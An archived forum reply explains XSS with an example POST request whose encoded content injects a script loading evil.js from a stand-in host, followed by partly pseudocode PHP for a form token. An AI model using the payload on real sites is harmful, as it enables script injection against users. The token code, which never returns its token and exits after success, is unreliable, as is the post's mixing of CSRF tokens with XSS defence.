Forums

The forums ran from 2008-2020 and are now closed and viewable here as an archive.

Home Forums Back End Should I Worry About XSS attacks? Reply To: Should I Worry About XSS attacks?

#156875
__
Participant

So are XSS attacks only possible when the hacker has the text field with enabled html tags?

Not exactly. This is what I was trying to explain in the other thread – XSS is possible any time you accept user input and you don’t validate/sanitize it properly.

This has nothing to do with whether or not the attacker has access to the form.

A very, very commonplace (if oversimplified) example:

1 ) You have an admin page that allows you to submit a form with two fields: title and content. When submitted, the server saves these two fields in the database. Later on, they will be displayed to users (perhaps they’re blog posts).

2 ) The admin page is password-protected (for the purposes of this example, let’s assume that the password protection is flawless).

3 ) An attacker writes their own HTTP POST request (it is not hard to do), like so:

POST /admin/form-submit.php HTTP/1.1
Host: example.com

title=My+Sneaky+Blog+Post&content=%3Cscript+src%3D%22http%3A%2F%2Fexample.xss%2Fevil.js%22%3E%2F%2Acopyright+mallory+2013+%2A%2F%3C%2Fscript%3EHello%2C+I%27m+a+harmless+blog+post

It [almost] doesn’t matter if you check credentials when you the form.

The critical mistake is if you don’t check any credentials when the form is submitted.

In this case, there are few options to prevent this attack:

1 ) strip all html tags. Obviously, this means that you can’t use html in your posts.*

2 ) use a whitelist tool like htmlpurifier to make sure no malicious content gets in – in this case, the <script> would be removed. Of course, this mean that you couldn’t place inline scripts in your blog post either… but then, you really shouldn’t be anyway. :)

3 ) authenticate the form submission. This is the most important step, and you should be doing it regardless of what other security (if any) you implement.

* An approach I take sometimes is to transform the html input into MarkDown (which will preserve useful, semantic markup like <p>, <h1>, <em>, etc.), and then run strip_tags to remove any “unsafe” html.

Here’s a good start (psuedocode in some parts):

<?php

function xssToken(){

    // form only valid for 5 minutes
    $expiry = time() + 300;

    // this will be decently random.
    $token = md5( 
        openssl_random_pseudo_bytes( 16 )
    );

    // save token and expiry to user session.
    $_SESSION['xssToken'] = array( $token,$expiry );

    // return token for use in form field.
}

?>
<form method=post action=submit.php>
  <input type=hidden name=xssToken value=<?= xssToken() ?> >
  <input name=field1>
  <!--  etc. ...  -->
</form>

submit.php might look like this:

<?php

if(
    isset( $_SESSION['xssToken'] )
    && isset( $_POST['xssToken'] )
    && $_SESSION['xssToken'][0] === $_POST['xssToken']
    && time() < $_SESSION['xssToken'][1]
){
    /* before processing the form, MAKE SURE:
       1) the user session has an xss token.
       2) the form submission has an xss token.
       3) the tokens match.
       4) the tokens have not expired.
     */

    // token can only be used once
    // you might log each token so it can't be reused, ever.
    unset( $_SESSION['xssToken'] );
}
/* if not, ignore entire POST. Seriously.
   or maybe write to security log, etc..  */
exit(1);